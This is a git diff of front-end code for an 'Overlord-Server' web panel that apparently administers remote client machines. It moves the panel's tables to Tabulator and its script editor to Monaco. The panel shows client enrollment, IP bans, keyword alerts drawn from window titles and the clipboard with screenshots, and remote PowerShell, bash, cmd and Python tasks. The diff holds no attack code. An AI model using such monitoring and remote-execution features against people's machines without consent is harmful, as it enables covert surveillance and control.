=== "event" ? "client event" : (item.title || "-"), + process: entry.kind === "event" ? (item.os || "-") : (item.process || "-"), + keyword: entry.kind === "event" ? "-" : (item.keyword || "-"), + source: entry.kind === "event" ? (item.event || "") : (item.category || "window"), + sourceHtml: sourceHtml(entry), + }; +} + function entryMatchesSearch(entry, query) { if (!query) return true; const item = entry.item; @@ -268,16 +330,12 @@ function entryMatchesSearch(entry, query) { } function applyTableView() { - if (!listEl) return; const q = tableState.search.trim().toLowerCase(); const all = Array.from(tableState.entries.values()); const filtered = q ? all.filter((entry) => entryMatchesSearch(entry, q)) : all; filtered.sort(compareEntries); - - listEl.innerHTML = ""; - for (const entry of filtered) { - listEl.appendChild(entry.element); - } + const rows = filtered.map(entryToRow); + if (notificationTable) notificationTable.replaceData(rows); if (emptyState) { if (all.length === 0) { @@ -317,11 +375,7 @@ function upsertEntry(item, kind, isLive) { existing.item = { ...existing.item, ...item }; return existing; } - const element = - kind === "event" - ? createClientEventRowElement(item) - : createNotificationRowElement(item, isLive); - const entry = { item, kind, element, isLive }; + const entry = { uid, item, kind, isLive }; tableState.entries.set(uid, entry); trimEntries(); return entry; @@ -370,6 +424,95 @@ function clientIdCellHtml(clientId) { return ``; } +function clientIdFormatter(cell) { + const id = String(cell.getValue() || ""); + if (!id) return `-`; + if (id.length <= CLIENT_ID_SHORT_LEN) { + return `${escapeHtml(id)}`; + } + const safeFull = escapeHtml(id); + const safeShort = escapeHtml(id.slice(0, CLIENT_ID_SHORT_LEN)); + return ``; +} + +function previewFormatter(cell) { + const row = cell.getRow().getData(); + const item = row.item || {}; + const wrapper = document.createElement("div"); + if (row.kind === "event") { + wrapper.textContent = ""; + return wrapper; + } + + const notificationId = item?.id || ""; + const skipFetch = !notificationId || (!row.isLive && !item?.screenshotId); + if (skipFetch) { + wrapper.textContent = "-"; + wrapper.className = "text-slate-500"; + return wrapper; + } + + if (item._previewObjectUrl) { + const img = createPreviewImage(item._previewObjectUrl); + wrapper.appendChild(img); + return wrapper; + } + + wrapper.textContent = "Loading..."; + wrapper.className = "text-slate-500"; + let attempts = 0; + const maxAttempts = 5; + const fetchPreview = async () => { + attempts += 1; + try { + const url = `/api/notifications/${encodeURIComponent(notificationId)}/screenshot?ts=${Date.now()}`; + const res = await fetch(url, { cache: "no-store" }); + if (!res.ok) { + if (res.status === 404 && attempts < maxAttempts) { + setTimeout(fetchPreview, 1000 * attempts); + return; + } + wrapper.textContent = "-"; + wrapper.className = "text-slate-500"; + return; + } + const blob = await res.blob(); + const objectUrl = URL.createObjectURL(blob); + item._previewObjectUrl = objectUrl; + wrapper.innerHTML = ""; + wrapper.className = ""; + wrapper.appendChild(createPreviewImage(objectUrl)); + } catch { + if (attempts < maxAttempts) { + setTimeout(fetchPreview, 1000 * attempts); + return; + } + wrapper.textContent = "-"; + wrapper.className = "text-slate-500"; + } + }; + fetchPreview(); + return wrapper; +} + +function createPreviewImage(objectUrl) { + const img = document.createElement("img"); + img.className = "max-h-32 w-auto rounded border border-slate-800/80 cursor-zoom-in opacity-0"; + img.loading = "lazy"; + img.alt = "Notification screenshot"; + img.src = objectUrl; + img.dataset.previewUrl = objectUrl; + img.addEventListener("load", () => img.classList.remove("opacity-0")); + img.addEventListener("click", () => { + if (!previewModal || !previewModalImg) return; + previewModalImg.src = img.dataset.previewUrl || objectUrl; + previewModal.classList.remove("hidden"); + previewModal.classList.add("flex"); + }); + if (img.decode) img.decode().catch(() => {}); + return img; +} + // ── Notification row factory ───────────────────────────────────────────────── function createNotificationRowElement(item, isLive) { const isClipboard = item.category === "clipboard"; @@ -892,26 +1035,9 @@ function wireEventChannelsSave() { }); } -function updateSortIndicators() { - if (!tableHead) return; - const headers = tableHead.querySelectorAll("th[data-sort-key]"); - for (const th of headers) { - const icon = th.querySelector(".sort-icon"); - if (!icon) continue; - const key = th.getAttribute("data-sort-key"); - if (key === tableState.sortBy) { - icon.className = `sort-icon fa-solid ${tableState.sortDir === "asc" ? "fa-sort-up" : "fa-sort-down"} text-xs text-slate-300`; - th.classList.add("text-slate-200"); - } else { - icon.className = "sort-icon fa-solid fa-sort text-xs text-slate-600"; - th.classList.remove("text-slate-200"); - } - } -} - function wireClientIdToggle() { - if (!listEl) return; - listEl.addEventListener("click", (event) => { + if (!tableEl) return; + tableEl.addEventListener("click", (event) => { const btn = event.target.closest(".client-id-toggle"); if (!btn) return; const textEl = btn.querySelector(".client-id-text"); @@ -931,23 +1057,6 @@ function wireClientIdToggle() { } function wireTableControls() { - if (tableHead) { - tableHead.addEventListener("click", (event) => { - const th = event.target.closest("th[data-sort-key]"); - if (!th) return; - const key = th.getAttribute("data-sort-key"); - if (!key) return; - if (tableState.sortBy === key) { - tableState.sortDir = tableState.sortDir === "asc" ? "desc" : "asc"; - } else { - tableState.sortBy = key; - tableState.sortDir = key === "ts" ? "desc" : "asc"; - } - updateSortIndicators(); - applyTableView(); - }); - } - if (searchInput) { let debounce = null; searchInput.addEventListener("input", () => { @@ -958,12 +1067,82 @@ function wireTableControls() { }, 100); }); } +} - updateSortIndicators(); +function initNotificationTable() { + if (!tableEl) return; + notificationTable = new Tabulator(tableEl, { + data: [], + height: "24rem", + layout: "fitDataStretch", + reactiveData: false, + placeholder: "No notifications yet.", + virtualDom: true, + index: "uid", + initialSort: [{ column: "ts", dir: "desc" }], + columns: [ + { + title: "Time", + field: "ts", + width: 190, + sorter: "number", + formatter: (cell) => `${formatTime(cell.getValue())}`, + }, + { + title: "Client", + field: "clientId", + width: 150, + formatter: clientIdFormatter, + }, + { + title: "User", + field: "user", + width: 130, + formatter: "plaintext", + }, + { + title: "Title / Content", + field: "title", + minWidth: 240, + formatter: (cell) => { + const row = cell.getRow().getData(); + const value = escapeHtml(cell.getValue() || "-"); + const tone = row.kind === "event" ? "italic text-slate-400" : "text-slate-100"; + return `${value}`; + }, + }, + { + title: "Process", + field: "process", + width: 160, + formatter: "plaintext", + }, + { + title: "Keyword", + field: "keyword", + width: 130, + formatter: "plaintext", + }, + { + title: "Source", + field: "source", + width: 140, + formatter: (cell) => cell.getRow().getData().sourceHtml || "", + }, + { + title: "Preview", + field: "uid", + width: 180, + headerSort: false, + formatter: previewFormatter, + }, + ], + }); } // ── Bootstrap ───────────────────────────────────────────────────────────────── initWebhookTemplateEditor(); +initNotificationTable(); wireKeywordSave(); wireWebhookSave(); wireTelegramSave(); diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js index ee46e79..0851908 100644 --- a/Overlord-Server/public/assets/purgatory-ui.js +++ b/Overlord-Server/public/assets/purgatory-ui.js @@ -1,7 +1,7 @@ -const body = document.getElementById("enrollment-body"); -const loadingRow = document.getElementById("enrollment-loading"); +import { TabulatorFull as Tabulator } from "/vendor/tabulator/tabulator_esm.min.js"; + +const enrollmentTableEl = document.getElementById("enrollment-table"); const emptyEl = document.getElementById("enrollment-empty"); -const selectAllEl = document.getElementById("select-all"); const bulkApproveBtn = document.getElementById("bulk-approve-btn"); const bulkDenyBtn = document.getElementById("bulk-deny-btn"); const statPending = document.getElementById("stat-pending"); @@ -10,9 +10,9 @@ const statDenied = document.getElementById("stat-denied"); const statBannedIps = document.getElementById("stat-banned-ips"); const searchInput = document.getElementById("search-input"); const bannedIpsSection = document.getElementById("banned-ips-section"); -const bannedIpsBody = document.getElementById("banned-ips-body"); +const bannedIpsTableEl = document.getElementById("banned-ips-table"); const bannedIpsEmpty = document.getElementById("banned-ips-empty"); -const clientsTable = document.getElementById("enrollment-table")?.closest(".bg-slate-900\\/50"); +const clientsTable = document.getElementById("clients-table-wrap"); const addBanBtn = document.getElementById("add-ban-btn"); const manualBanForm = document.getElementById("manual-ban-form"); const banIpInput = document.getElementById("ban-ip-input"); @@ -44,6 +44,9 @@ const denyReasonModalBackdrop = document.getElementById("deny-reason-modal-backd let currentFilter = "pending"; let searchQuery = ""; let clients = []; +let enrollmentTable = null; +let bannedIpsTable = null; +const selectedIds = new Set(); const expandedCells = new Set(); // tracks "clientId:field" keys const SUSPICIOUS_FLAG_LABELS = { @@ -100,9 +103,8 @@ async function loadStats() { } async function loadClients() { - loadingRow.classList.remove("hidden"); emptyEl.classList.add("hidden"); - body.querySelectorAll("tr:not(#enrollment-loading)").forEach((r) => r.remove()); + if (enrollmentTable) enrollmentTable.replaceData([]); const fetchFilter = currentFilter === "suspicious" ? "all" : currentFilter; try { @@ -134,44 +136,23 @@ async function loadClients() { }) : base; - loadingRow.classList.add("hidden"); - const showBulkActions = (currentFilter === "pending" || currentFilter === "suspicious") && filtered.some((c) => (c.enrollmentStatus || "pending") === "pending"); approveAllBtn.classList.toggle("hidden", !showBulkActions); denyAllBtn.classList.toggle("hidden", !showBulkActions); + const visibleIds = new Set(filtered.map((c) => c.id)); + for (const id of selectedIds) { + if (!visibleIds.has(id)) selectedIds.delete(id); + } + if (filtered.length === 0) { emptyEl.classList.remove("hidden"); + updateBulkButtons(); return; } - for (const c of filtered) { - const tr = document.createElement("tr"); - tr.className = "hover:bg-slate-800/40 transition-colors"; - tr.dataset.id = c.id; - - const statusPill = statusBadgeWithReason(c.enrollmentStatus || "pending", c.denyReason); - const fp = c.keyFingerprint ? c.keyFingerprint.substring(0, 16) + "..." : "-"; - const lastSeen = c.lastSeen ? timeAgo(c.lastSeen) : "-"; - - tr.innerHTML = ` - - ${esc(c.host || c.id)}${suspiciousBadges(c.suspiciousFlags)} - ${esc(c.user || "-")} - ${esc(c.os || "-")} - ${expandableCell(c.id, "cpu", c.cpu)} - ${c.gpu ? dedupeGpu(c.gpu) : esc("-")} - ${esc(c.ram || "-")} - ${esc(c.ip || "-")} - ${esc(c.country || "-")} - ${esc(fp)} - ${lastSeen} - ${statusPill} -
${actionButtons(c)}
- `; - body.appendChild(tr); - } + if (enrollmentTable) enrollmentTable.replaceData(filtered); updateBulkButtons(); } @@ -251,6 +232,129 @@ function expandableCell(clientId, field, value) { ``; } +function selectionHeaderFormatter() { + const rows = enrollmentTable?.getData() || []; + const allChecked = rows.length > 0 && rows.every((row) => selectedIds.has(row.id)); + return ``; +} + +function rowSelectionFormatter(cell) { + const id = cell.getRow().getData().id; + return ``; +} + +function initEnrollmentTable() { + if (!enrollmentTableEl) return; + enrollmentTable = new Tabulator(enrollmentTableEl, { + data: [], + height: "32rem", + layout: "fitDataStretch", + placeholder: "No clients in this category.", + index: "id", + virtualDom: true, + columns: [ + { + title: "", + field: "id", + width: 54, + hozAlign: "center", + headerSort: false, + headerFormatter: selectionHeaderFormatter, + formatter: rowSelectionFormatter, + }, + { + title: "Host", + field: "host", + width: 190, + formatter: (cell) => { + const c = cell.getRow().getData(); + return `${esc(c.host || c.id)}${suspiciousBadges(c.suspiciousFlags)}`; + }, + }, + { title: "User", field: "user", width: 140, formatter: (cell) => esc(cell.getValue() || "-") }, + { title: "OS", field: "os", width: 120, formatter: (cell) => esc(cell.getValue() || "-") }, + { + title: "CPU", + field: "cpu", + width: 210, + formatter: (cell) => { + const c = cell.getRow().getData(); + return expandableCell(c.id, "cpu", c.cpu); + }, + }, + { + title: "GPU", + field: "gpu", + width: 220, + formatter: (cell) => cell.getValue() ? dedupeGpu(cell.getValue()) : esc("-"), + }, + { title: "RAM", field: "ram", width: 100, formatter: (cell) => esc(cell.getValue() || "-") }, + { title: "IP", field: "ip", width: 140, formatter: (cell) => esc(cell.getValue() || "-") }, + { title: "Country", field: "country", width: 120, formatter: (cell) => esc(cell.getValue() || "-") }, + { + title: "Key Fingerprint", + field: "keyFingerprint", + width: 170, + formatter: (cell) => `${esc(cell.getValue() ? cell.getValue().substring(0, 16) + "..." : "-")}`, + }, + { + title: "Last Seen", + field: "lastSeen", + width: 120, + sorter: "number", + formatter: (cell) => `${cell.getValue() ? timeAgo(cell.getValue()) : "-"}`, + }, + { + title: "Status", + field: "enrollmentStatus", + width: 150, + formatter: (cell) => { + const c = cell.getRow().getData(); + return statusBadgeWithReason(c.enrollmentStatus || "pending", c.denyReason); + }, + }, + { + title: "Actions", + field: "id", + width: 300, + headerSort: false, + hozAlign: "right", + formatter: (cell) => `
${actionButtons(cell.getRow().getData())}
`, + }, + ], + }); +} + +function initBannedIpsTable() { + if (!bannedIpsTableEl) return; + bannedIpsTable = new Tabulator(bannedIpsTableEl, { + data: [], + height: "24rem", + layout: "fitColumns", + placeholder: "No banned IPs.", + index: "ip", + columns: [ + { title: "IP Address", field: "ip", width: 180, formatter: (cell) => `${esc(cell.getValue())}` }, + { title: "Reason", field: "reason", formatter: (cell) => esc(cell.getValue() || "-") }, + { + title: "Banned At", + field: "createdAt", + width: 150, + sorter: "number", + formatter: (cell) => `${cell.getValue() ? timeAgo(cell.getValue()) : "-"}`, + }, + { + title: "Actions", + field: "ip", + width: 120, + headerSort: false, + hozAlign: "right", + formatter: (cell) => ``, + }, + ], + }); +} + function timeAgo(ts) { const diff = Date.now() - ts; if (diff < 60000) return "just now"; @@ -297,21 +401,24 @@ async function bulkAction(action) { } catch (e) { if (window.showToast) window.showToast(`Failed: ${e.message}`, "error"); } - selectAllEl.checked = false; + selectedIds.clear(); await Promise.all([loadClients(), loadStats()]); } function getSelectedIds() { - return [...document.querySelectorAll(".row-check:checked")].map( - (el) => el.dataset.id, - ); + return [...selectedIds]; } function updateBulkButtons() { - const count = getSelectedIds().length; + const visibleIds = new Set((enrollmentTable?.getData() || []).map((row) => row.id)); + for (const id of selectedIds) { + if (!visibleIds.has(id)) selectedIds.delete(id); + } + const count = selectedIds.size; bulkApproveBtn.classList.toggle("hidden", count === 0); bulkDenyBtn.classList.toggle("hidden", count === 0); bulkBanBtn.classList.toggle("hidden", count === 0); + enrollmentTable?.redraw(true); } // ── Tab switching ────────────────────────────────────────────────── @@ -347,7 +454,7 @@ document.querySelectorAll(".enrollment-tab").forEach((tab) => { }); // ── Table delegation ─────────────────────────────────────────────── -body.addEventListener("click", (e) => { +enrollmentTableEl?.addEventListener("click", (e) => { // Expandable CPU/GPU cells const expander = e.target.closest(".hw-expand"); if (expander) { @@ -372,11 +479,24 @@ body.addEventListener("click", (e) => { else if (btn.classList.contains("act-ban-ip")) banClientIp(id); }); -body.addEventListener("change", () => updateBulkButtons()); -selectAllEl.addEventListener("change", () => { - document.querySelectorAll(".row-check").forEach((cb) => { - cb.checked = selectAllEl.checked; - }); +enrollmentTableEl?.addEventListener("change", (e) => { + const selectAll = e.target.closest(".enrollment-select-all"); + if (selectAll) { + const rows = enrollmentTable?.getData() || []; + for (const row of rows) { + if (selectAll.checked) selectedIds.add(row.id); + else selectedIds.delete(row.id); + } + updateBulkButtons(); + return; + } + + const checkbox = e.target.closest(".row-check"); + if (!checkbox) return; + const id = checkbox.dataset.id; + if (!id) return; + if (checkbox.checked) selectedIds.add(id); + else selectedIds.delete(id); updateBulkButtons(); }); @@ -455,8 +575,8 @@ async function banClientIp(clientId) { } async function loadBannedIps() { - bannedIpsBody.innerHTML = ""; bannedIpsEmpty.classList.add("hidden"); + if (bannedIpsTable) bannedIpsTable.replaceData([]); try { const data = await api("/api/enrollment/banned-ips"); @@ -467,27 +587,13 @@ async function loadBannedIps() { return; } - for (const entry of items) { - const tr = document.createElement("tr"); - tr.className = "hover:bg-slate-800/40 transition-colors"; - tr.innerHTML = ` - ${esc(entry.ip)} - ${esc(entry.reason || "-")} - ${entry.createdAt ? timeAgo(entry.createdAt) : "-"} - - - - `; - bannedIpsBody.appendChild(tr); - } + if (bannedIpsTable) bannedIpsTable.replaceData(items); } catch { bannedIpsEmpty.classList.remove("hidden"); } } -bannedIpsBody.addEventListener("click", async (e) => { +bannedIpsTableEl?.addEventListener("click", async (e) => { const btn = e.target.closest("button"); if (!btn) return; if (btn.classList.contains("act-unban")) { @@ -667,6 +773,8 @@ denyReasonModalConfirm.addEventListener("click", async () => { }); // ── Init ─────────────────────────────────────────────────────────── +initEnrollmentTable(); +initBannedIpsTable(); loadSettings(); loadStats(); loadClients(); diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js index 6690e4c..349b3a7 100644 --- a/Overlord-Server/public/assets/scripts.js +++ b/Overlord-Server/public/assets/scripts.js @@ -1,3 +1,5 @@ +import { createMonacoEditorAdapter, loadMonaco } from "./monaco-loader.js"; + const clientList = document.getElementById("client-list"); const clientSearch = document.getElementById("client-search"); const osFilter = document.getElementById("os-filter"); @@ -29,7 +31,7 @@ let editorInstance = null; const EDITOR_MODES = { powershell: "powershell", bash: "shell", - cmd: "shell", + cmd: "bat", python: "python", sh: "shell", }; @@ -50,7 +52,11 @@ function setEditorValue(value) { function setEditorMode(type) { if (!editorInstance) return; const mode = EDITOR_MODES[type] || "powershell"; - editorInstance.setOption("mode", mode); + if (typeof editorInstance.setLanguage === "function") { + editorInstance.setLanguage(mode); + } else if (typeof editorInstance.setOption === "function") { + editorInstance.setOption("mode", mode); + } } async function checkAuth() { @@ -785,17 +791,56 @@ Promise.all([ loadAutoTasks(); renderTemplatePalette(); -if (window.CodeMirror && scriptEditor) { - editorInstance = window.CodeMirror.fromTextArea(scriptEditor, { - lineNumbers: true, - mode: EDITOR_MODES[scriptType?.value || "powershell"] || "powershell", - theme: "material-darker", - indentUnit: 2, - tabSize: 2, - lineWrapping: true, - }); - editorInstance.setSize(null, "24rem"); - window._vbCodeMirror = editorInstance; +async function initScriptEditor() { + if (!scriptEditor) return; + try { + const monaco = await loadMonaco(); + const host = document.createElement("div"); + host.id = "script-editor-monaco"; + host.className = "w-full flex-1 min-h-[24rem] rounded-lg border border-slate-700 overflow-hidden"; + host.style.height = "24rem"; + scriptEditor.classList.add("hidden"); + scriptEditor.insertAdjacentElement("afterend", host); + + const editor = monaco.editor.create(host, { + value: scriptEditor.value || "", + language: EDITOR_MODES[scriptType?.value || "powershell"] || "powershell", + theme: "vs-dark", + automaticLayout: true, + fontFamily: '"JetBrains Mono", Consolas, "Courier New", monospace', + fontSize: 13, + minimap: { enabled: true, side: "right" }, + scrollBeyondLastLine: false, + wordWrap: "on", + tabSize: 2, + insertSpaces: true, + padding: { top: 12, bottom: 12 }, + renderLineHighlight: "all", + }); + + monaco.editor.defineTheme("overlord-dark", { + base: "vs-dark", + inherit: true, + rules: [], + colors: { + "editor.background": "#020617", + "editor.foreground": "#e2e8f0", + "editor.lineHighlightBackground": "#0f172a", + "editorCursor.foreground": "#34d399", + "editor.selectionBackground": "#2563eb66", + "editorGutter.background": "#020617", + "editorLineNumber.foreground": "#64748b", + "editorLineNumber.activeForeground": "#cbd5e1", + }, + }); + monaco.editor.setTheme("overlord-dark"); + + editorInstance = createMonacoEditorAdapter(editor, monaco); + window._vbCodeMirror = editorInstance; + syncEditorHeight(); + } catch (err) { + console.warn("Monaco editor unavailable; falling back to textarea", err); + } } const modeToggleCode = document.getElementById("mode-toggle-code"); @@ -824,8 +869,7 @@ function syncEditorHeight() { const target = Math.max(384, rightHeight - padY - headerH - headerMb); editorInstance.setSize(null, `${target}px`); } -if (editorInstance && rightColumn) { - syncEditorHeight(); +if (rightColumn) { if (typeof ResizeObserver === "function") { const ro = new ResizeObserver(() => syncEditorHeight()); ro.observe(rightColumn); @@ -833,6 +877,7 @@ if (editorInstance && rightColumn) { window.addEventListener("resize", syncEditorHeight); lgMediaQuery.addEventListener?.("change", syncEditorHeight); } +initScriptEditor(); let visualBuilderInited = false; function setMode(mode) { @@ -856,7 +901,7 @@ function setMode(mode) { modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white"; modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700"; if (editorInstance) { - editorInstance.refresh(); + editorInstance.refresh?.(); syncEditorHeight(); } } diff --git a/Overlord-Server/public/notifications.html b/Overlord-Server/public/notifications.html index 33964c0..096f1d3 100644 --- a/Overlord-Server/public/notifications.html +++ b/Overlord-Server/public/notifications.html @@ -13,7 +13,7 @@ - + @@ -171,11 +171,11 @@ -
+ >

Variables: {title} {keyword} @@ -415,37 +415,7 @@ -

- - - - - - - - - - - - - - -
- Time - - Client - - User - - Title / Content - - Process - - Keyword - - Source - Preview
-
+
-
- - - - - - - - - - - - - - - - - - - - - - - -
- - HostUserOSCPUGPURAMIPCountryKey FingerprintLast SeenStatusActions
- Loading... -
+
+
- - - - - - - - - - -
IP AddressReasonBanned AtActions
+